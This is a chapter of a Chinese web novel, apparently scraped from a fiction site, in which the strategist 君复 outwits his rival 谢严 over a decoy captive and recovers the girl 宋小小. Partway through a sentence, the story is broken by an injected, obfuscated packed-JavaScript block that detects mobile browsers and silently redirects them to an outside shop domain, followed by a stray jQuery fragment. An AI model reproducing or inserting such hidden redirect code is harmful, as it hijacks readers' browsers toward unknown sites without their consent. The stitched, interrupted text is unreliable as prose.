文趣网 > 都市小说 > 她在江南种梅花 > 58. 棋高一着
    “嗯!”皇姐回来后一直只叫他陛下,总是隔着一层,很是生分,如今叫他“阿宁”,他才感觉他的阿姐真的回来了。

    “今天做得很好。”

    赵祯愣了一下,然后笑了。

    帝师府

    沈七花了好几天摸清了谢家别院的全部守卫换岗时间,将路线画在纸上,递给君复。

    “从死角摸过去,迷药放在食盒里,两个守门的倒了,就能把人带出来。”沈七说,“前后不到一盏茶的功夫。”

    君复看着那张纸,没有点头。他盯着那条路线看了很久,目光从后门移到东厢房,又从东厢房移回后门。

    “你查的时候,有没有被人发现?”

    沈七犹豫了一下:“应该没有。属下很小心。”

    “什么时候动手?”程青棠已经等不及。

    “不动手。”

    沈七愣了一下:“公子?”

    君复站在地图前,手指在后院位置停了一下,然后移开了。“别院不能去。”他说。

    程青棠站在他身后,看着地图上那座被标注的谢家别院:“为什么?沈七已经查清楚了,别院守卫的换岗时间、厢房的位置、送食盒的老头的路线——”

    “就是因为查得太清楚了。”君复转过身,“所以谢严知道我们在查别院。他上次已经在这别院失手过一次,怎还会如此大意,他是故意让我们发现的,他在等我们钻进那个圈套。”

    程青棠皱起眉头:“那小小?”

    “小小不在别院。”君复的目光锐利地看向程青棠。那眼神让沈砚清警惕地挡在程青棠前:“你想干嘛?”

    君复看他护犊子的样子有些好笑,对着程青棠问道:“你比我们了解谢家,好好想想,谢家最有可能将人藏在哪儿?”

    程青棠担心宋小小,有些焦急:“我查到的消息都告诉你了。”

    “跟他们查到的一样,这些让你查到的自然是想让你知道的。”君复耐心解释。

    程青棠不解:“那你还让我去接触秋兰?”语气有些冲。

    “让你去接触秋兰,是为了让谢严知道我们在打听他府上的事。”君复看着面前瞪着他的两个人,继续解释:“他知道了,就会把小小转移走。”

    程青棠看着他,忽然明白了:“你知道他会转移小小。”

    “我推测。”君复的语气却比推测肯定得多。

    程青棠恍然大悟:“原来这才是你的计划。你从来就没打算去别院或者谢府。”

    君复轻笑着摇头:“不,我还是要去的。”

    程青棠又疑惑了,不过没有再问。她转身出了密室,在房里坐了一夜。沈砚清端着汤药进来,放在她面前,又帮她手上的伤换了药。

    第二天傍晚,程青棠从帝师府侧门出去,沿着花桥街走了半条街,拐进一条窄巷。她穿了件半旧的青布衣裳,头上包着碎花头巾,看起来像一个出门买针线的妇人。秋兰从谢严府邸的侧门出来,手里挎着一只竹篮,篮子里装着几团线和一根针。她低着头,快步往巷口走。

    程青棠在巷口的摊前站着,手里捏着几枚铜钱。秋兰从她身边经过的时候,程青棠叫了一声:“秋兰。”

    秋兰的脚步顿了一下,她抬起头,看着程青棠,目光在她脸上停了一瞬,又移开了。她的嘴唇动了一下,没有说活。

    “好久不见。”程青棠的声音很低,“你妹妹的病好了吗?”

    秋兰低下头,看着自己的鞋尖:“好了。多谢程姑娘的药。”

    “不用谢。”程青棠将手里的铜钱放回袖中,“我有点事想问你。”

    秋兰攥着竹篮的手紧了紧,又松开:“你问。”

    “你们府上最近是不是关了一个小女孩?”

    秋兰的嘴唇抿成一条线,没有回答。程青棠看着她,从袖中取出一只银镯子,放在秋兰的竹篮里:“我不为难你。你只需要告诉我,她被关在哪,后院还是前院?”

    秋兰低下头,看着竹篮里那只银镯子,看了很久。她伸出手,将镯子攥进手心里,声音压得很低:“后院柴房。后门左手第三间,有两个人守着,每晚会有人从前院送夜宵过去。”她说这话的时候,手指在袖中微微颤抖。程青棠注意到了,但她没有说破。

    她点了点头,将手收进袖中,转身往巷口走去。秋兰站在原地,攥着那只银镯子,看着她走远,然后蹲下来,将镯子塞进鞋袜里,站起来,提着竹篮走了。

    程青棠走回帝师府的时候,天已经全黑了,君复在堂屋里等她,桌上摊着谢府的地图,她走进去,将秋兰的话一字不漏地说了。

    “她说今晚丑时会有人送夜宵。”程青棠在桌边坐下,“柴房的位置、守卫的人数、送夜宵的路线都清楚了。”

    君复的手指在地图上划了一下,停在后院柴房的位置,“秋兰说得太清楚了。”

    程青棠的眉头微皱:“她不会?”

    “不是她。”君复抬起头,“她不知道真正的小小已经被转移走了。她知道的是谢严想让她知道的。”

    程青棠看着他明白了:“谢严在府里布了局,想让秋兰把假消息传给我们。”

    “但秋兰不知道。她以为她在帮你,所以她说的每一句话都是真话。”

    程青棠相信君复的推断,还是忍不住担忧:“那小小真的被关在哪?”

    “她不在谢府了。”君复的声音很轻,“谢严把小小转移走的时候,我的人应该能在半路上截住了他们。”

    “小小现在在哪?”她的声音有些发涩。

    “快回来了。”

    “那我们快去接她啊。”程青棠深知谢严不达目的不罢休的性子,若是被他发觉,宋小小就更危险了。

    沈砚清轻拍她的肩膀安抚她的情绪。

    “得有人去吸引一下谢严的注意,小小那边才容易得手。”

    深夜,君复从帝师府侧门出去,沿着墙根摸到了谢严府邸的后巷。他穿着一身黑色的夜行衣。他没有带人,一个人去的。丑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628578|202697||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    时三刻,前院角门开了,一个穿灰衣的小厮提着一只食盒走出来,低着头,沿着回廊快步走。君复跟了上去,他的脚步声更轻,踩在青砖地上几乎没有声音。

    小厮穿过月洞门,走过小竹林,在柴房后墙的石头台阶前停下来。他抬手敲了三下,停了一下,又敲了两下。门里面传来脚步声,门闩被拔开了,门开了一条缝。君复从竹林里闪出来,在小厮身后三步远的地方站定,他的动作没有声音,手刀落在小厮的后颈上,小厮的身体软了一下,被他接住,靠着墙放了下来。门里面的人还没来得及缩手,君复的迷药已经撒了进去。那人晃了晃,靠着门框滑了下去。

    君复将小厮和守门的人拖进柴房。柴房角落里蜷着一个穿着旧棉袄的小小,缩成一团,听见动静,抬起头。君复蹲下来,伸手摸了摸她的脸。那是个替身,眉眼和小小有几分像,但不是,他站起来,转身出了柴房。

    他走出巷口的时候,街口那盏灯笼还亮着。光下面站着一个人——谢严。穿着一件墨绿色的长袍,负手而立,带着一群人站在那里,像是等了很久。他看见君复从巷子里走出来,空着手,嘴角微微弯了一下。

    “君公子,别来无恙。我原本以为来的会是长公主。”

    君复站着没有动。谢严朝他走了两步,在离他五步远的地方停下来:“柴房里的那个,还满意吗?”他的声音带着悠闲的、像是猫捉老鼠的语气。“你以为你们这么容易就能找到那小姑娘的位置,也太小看我了。”

    君复看着他,没有说话。

    “她不在谢府,不在别院,不在任何你能找到的地方。”谢严的声音很轻,“你以为你算准了我每一步,但你算漏了一件事。秋兰是我的人。她对程青棠说的每一句话,都是我想让她说的。”

    君复依然没有说话。

    谢严看着他,目光在他脸上停了一瞬,像是想从他脸上找出一丝慌乱。但他没有找到。君复的表情太平静了,平静得像是早就知道他会说这些话。谢严的笑容微微僵了一下,然后他听见了一个声音,从街口的拐角处传来的,小小的,软糯的,带着刚睡醒的鼻音。

    “君哥哥?”

    谢严猛地转头。宋小小站在街口的拐角处,穿着一件小小的棉袄,手里攥着一只彩色的毽子,揉着眼睛,像是刚从睡梦里醒来。君复走过去,蹲下来,将她抱起来,裹进自己的外衫里。小小趴在他肩上,打了个哈欠,又闭上了眼。她身上带着暖意,像是刚从被窝里出来。

    谢严站在原地,看着他们,脸上的笑容一点一点地褪去了。他的嘴唇动了一下,没有说话,他看着君复从他身边走过去,步伐不紧不慢。君复走到街口的时候,停下来,没有回头。

    “你说得对,你也算漏了一件事。”他的声音很轻,“小小不在谢府,不在别院,也不在任何你以为的地方。柴房里的那个替身,是你演给我看的,也是我演给你看的。”

    谢严脸上的表情已经挂不住了,却只能看着君复的背影消失在巷口。